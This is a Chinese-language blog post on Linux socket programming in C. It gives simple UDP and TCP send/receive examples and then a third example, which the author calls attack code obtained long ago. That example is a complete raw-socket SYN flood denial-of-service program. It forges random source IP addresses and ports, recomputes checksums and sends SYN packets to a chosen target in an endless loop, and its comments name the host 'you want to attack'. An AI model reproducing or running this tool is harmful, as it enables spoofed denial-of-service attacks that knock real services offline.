您的位置:首页 > 其它

socket接口

2016-01-23 19:35 204 查看
通过socket接口传输数据

例1: udp协议的socket传输数据

recv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
*receive data as "./recv port"
*/

int    main(int argc, char *argv[])
{
int sock_fd;
struct sockaddr_in myaddr;
struct sockaddr_in sendaddr;

char buf[1024];
int    recv_num;
int    recvlen;
/*
if(3 != argc)
{
printf("argc\n");
exit(1);
}
*/
if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
{
printf("socket\n");
exit(2);
}

myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(atoi(argv[1]));
myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
{
perror("bind");
exit(1);
}
recvlen = sizeof(struct sockaddr_in);
recv_num = recvfrom(sock_fd, (char *)buf, sizeof(buf), 0,
(struct sockaddr *)&sendaddr, &recvlen);

printf("%s\n", buf);
/*
to.sin_family = AF_INET;
to.sin_port = htons(atoi(argv[2]));
to.sin_addr.s_addr = inet_addr(argv[1]);

int ret = sendto(sock_fd, buf, strlen(buf) + 1, 0,
(struct sockaddr *)&to, sizeof(struct sockaddr_in));
if(-1 == ret)
{
printf("sendto");
exit(2);
}
*/
close(sock_fd);
}


send.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
*send data as: "./send xx.xx.xx.xx port message"
*/

int    main(int argc, char *argv[])
{
int sock_fd;
struct sockaddr_in to;
char buf[1024];
char *bp = buf;

if(4 != argc)
{
printf("argc\n");
exit(1);
}

if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
{
printf("socket\n");
exit(2);
}

to.sin_family = AF_INET;
to.sin_port = htons(atoi(argv[2]));
to.sin_addr.s_addr = inet_addr(argv[1]);

strcpy(buf, argv[3]);
int ret = sendto(sock_fd, buf, strlen(argv[3]) + 1, 0,
(struct sockaddr *)&to, sizeof(struct sockaddr_in));
if(-1 == ret)
{
printf("sendto");
exit(2);
}

close(sock_fd);
}


编译链接以上两段代码, 先执行"./recv 12345", 然后在另一个终端执行"./send 192.168.1.103 12345 abcdefghijklmn", 输出如下:





例2: tcp协议的socket数据传输

server.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>

/*
* run command as "./server port"
*/
int    main(int argc, char *argv[])
{
int sock_fd;    //use to listen
struct sockaddr_in myaddr;
struct sockaddr_in sendaddr;

char buf[1400];
int    recv_num;
int    recvlen;

if(2 != argc)
{
printf("argc\n");
exit(1);
}

if(-1 == (sock_fd = socket(PF_INET, SOCK_STREAM, 0)))
{
printf("socket\n");
exit(2);
}

myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(atoi(argv[1]));
myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
{
perror("bind");
exit(1);
}

listen(sock_fd, 20);

struct sockaddr_in client_addr;
int    client_addr_len = sizeof(struct sockaddr);
int client_com_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);

recvlen = recv(client_com_fd, buf, sizeof(buf), 0);
if(recvlen >= 0)
{
buf[recvlen] = 0;
}
else
{
printf("recv error\n");
}
printf("%s\n", buf);

//close(sock_fd);
close(client_com_fd);
}


client.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
* send data as "./send ipaddr port message"
*/

int    main(int argc, char *argv[])
{
int sock_fd;
//struct sockaddr_in client_addr;
struct sockaddr_in server_addr;
char buf[1024];
int    len;

if(4 != argc)
{
printf("argc\n");
exit(1);
}

if(-1 == (sock_fd = socket(AF_INET, SOCK_STREAM, 0)))
{
printf("socket\n");
exit(2);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[2]));
server_addr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));

strcpy(buf, argv[3]);
len = strlen(argv[3]);
send(sock_fd, buf, len, 0);

close(sock_fd);

}


编译链接以上两段代码, 先执行"./server 12345", 然后在另一个终端执行"./client 192.168.1.103 12345 helloWorld"输出如下:





例3: 原始socket发送tcp半连接. 很久以前弄到的一个自杀性网络攻击代码, 如下:

tcp_dos.c

/* dos.c - 一个dos( denial of service:拒绝服务)攻击程序 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

int sock_fd;

/* tcp 伪头部, 计算校验和时需要, 可以参考rfc 793 */
typedef struct psheader {
unsigned long saddr;    /* 源IP地址                */
unsigned long daddr;    /* 目的IP地址                 */
char mbz;        /* mbz = must be zero, 用于填充对齐 */
char protocal;        /* 8位协议号                 */
unsigned short tcpl;    /* TCP包长度                */
} pheader;

/* 一个通用的计算校验和的函数 */

static unsigned short ip_sum ( u_short *addr, int len )
{
register int nleft = len;
register u_short * w = addr;
register int sum = 0;

u_short answer = 0;

while ( nleft > 1 ) {
sum += *w++;
nleft -= 2;
}

if ( nleft == 1 ) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

/* sum = 高16位的值加上低16位 */
sum = (sum >> 16) + (sum & 0xffff);
/* 加上近位              */
sum += (sum >> 16);
/* 取反,同时变成16位有效      */
answer = ~sum;
return (answer);
}

/* 重新计算ip和tcp头的校验和,并存入相应的协议字段 */
void re_cal_checksum( struct iphdr * ih, struct tcphdr * th )
{
pheader ph;
char buf[100];

/* 伪头源ip地址   */
ph.saddr = ih->saddr;
/* 伪头目的ip地址 */
ph.daddr = ih->daddr;
ph.mbz = 0;
/* 协议              */
ph.protocal = IPPROTO_TCP;
/* tcp包长度       */
ph.tcpl = htons( sizeof( struct tcphdr ) );

memcpy( buf, &ph, sizeof( pheader ) );
memcpy( buf + sizeof(pheader), th, sizeof( struct tcphdr ) );
memset( buf + sizeof(pheader) + sizeof(struct tcphdr), 0, 4 );
th->check = ip_sum( (u_short*)buf, (sizeof(pheader)+sizeof(struct tcphdr)+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memset(buf+4*ih->ihl+sizeof(*th), 0, 4);

ih->check=ip_sum( (u_short*)buf, (4*ih->ihl + sizeof(*th) + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);
}

void init_tcp_ip_head( struct iphdr * ih, struct tcphdr * th, unsigned long dest_ip, unsigned short dest_port)
{
/* IP版本, 现在基本都用ipv4            */
ih->version = 4;
/* ip首部长度, 一般都为20个字节, 由于ihl是表示多少个4字节,因此要除以4,等于5 */
ih->ihl = 5;
/* 服务类型                   */
ih->tos = 0;
/* ip数据包的总长度                */
ih->tot_len = sizeof( struct iphdr ) + sizeof( struct tcphdr );
/* 16位标识                         */
ih->id = ( unsigned int )random();
/* 碎片偏移                       */
ih->frag_off = 0;
/* 8位生存时间                     */
ih->ttl = ( unsigned int )random()%150 + 20;
/* 指定传输层采用的协议,我们当然要采用TCP咯 */
ih->protocol = IPPROTO_TCP;
/* 校验和, 等下会重新计算, 先初始化为0 */
ih->check = 0;
/* 源ip地址, 初始化的时候,   */
ih->saddr = ( unsigned int )random();
/* 你要攻击的目标IP地址            */
ih->daddr = dest_ip;
/* ok, ip 头初始化完毕 */

/* tcp 源端口号, 随便给一个           */
th->source = ( unsigned int )random() % 30000 + 4096;
/* 目的端口号,你要攻击对方的端口       */
th->dest = htons( dest_port );
/* 32位序列号,随便给一个           */
th->seq = ( unsigned int )random();
/* 32位确认序列号,由于我们是攻击方,因此这个值可以随便给 */
th->ack_seq = 0;
/* tcp 首部长度,一般为20,同样需要除以4 */
th->doff = sizeof( struct tcphdr ) / 4;
/* 保留值, 随便给                   */
th->res1 = 0;
/* 发送端还没发送完成                  */
th->fin = 0;
/* 用来发起一个连接,此位一定要置1      */
th->syn = 1;
/* 重建连接,当然没必要,因此为0            */
th->rst = 0;
/* 接受方应尽快把这个报文交给应用层    */
th->psh = 0;
/* 确认序号,现在我们是发起连接,不是确认*/
th->ack = 0;
/* 紧急指针                   */
th->urg = 0;
/* 16窗口大小,接受端期望接受的字节数   */
th->window = htons( 65535 );
/* 现在只是初始,等下回校验           */
th->check = 0;
/* 16位紧急指针                   */
th->urg_ptr = 0;
/* OK, tcp 头初始化完毕    */
}

void send_connect( int sockfd, char * buf )
{
struct iphdr * ih = ( struct iphdr * ) buf;
struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );

/* 被攻击的机器的地址结构 */
struct sockaddr_in target;
target.sin_family = AF_INET;
target.sin_port = th->dest;
target.sin_addr.s_addr = ih->daddr;

/* 发送连接数据      */
int ret;
ret = sendto( sockfd, buf, sizeof(struct iphdr)+sizeof(struct tcphdr), 0,
(struct sockaddr*)&target, sizeof(target) );
if( ret == -1 ) {
perror("send packet");
exit(1);
}
}

int main( int argc, char **argv )
{
int i;
unsigned short int dest_port;
unsigned long int dest_ip;

/* 处理用户的命令行输入, 如果用户不指定ip地址的话, 默认是攻击自己, 如果不指定端口号的话,默认就是22 */
if( argc == 1 ){
dest_ip = inet_addr( "127.0.0.1" );
dest_port = htons( 22 );
} else if( argc == 2 ) {
dest_ip = inet_addr( argv[1] );
dest_port = htons( 22 );
} else if( argc == 3 ) {
dest_ip = inet_addr( argv[1] );
dest_port=ntohs(atoi( argv[2]) );
} else {
printf("Usage: %s [你要攻击的ip地址] [你要攻击的port number] \n", argv[0] );
exit( 1 );
}

/* 创建一个原始的套接口, 自己封装ip头和tcp头 */
sock_fd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
if( sock_fd == -1 ) {
perror("socket");
exit(1);
}

/* buf - 用于存储ip 和 tcp头 */
char * buf = malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) );
/* ip 头结构  */
struct iphdr * ih = ( struct iphdr * ) buf;
/* tcp 头结构 */
struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );

/* 初始化tcp和ip头结构 */
init_tcp_ip_head( ih, th, dest_ip, dest_port );

while ( 1 ) {
/* 伪装源ip地址 */
ih->saddr = ( unsigned int )random();
/* 伪装源端口号 */
th->source = ( unsigned int )random() % 30000 + 4096;

/* 重新计算 ip头和tcp头的校验和 */
re_cal_checksum( ih, th );

/* 发送连接请求, 开始攻击 */
send_connect( sock_fd, buf );
}
}


编译链接执行, 输出如下:

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: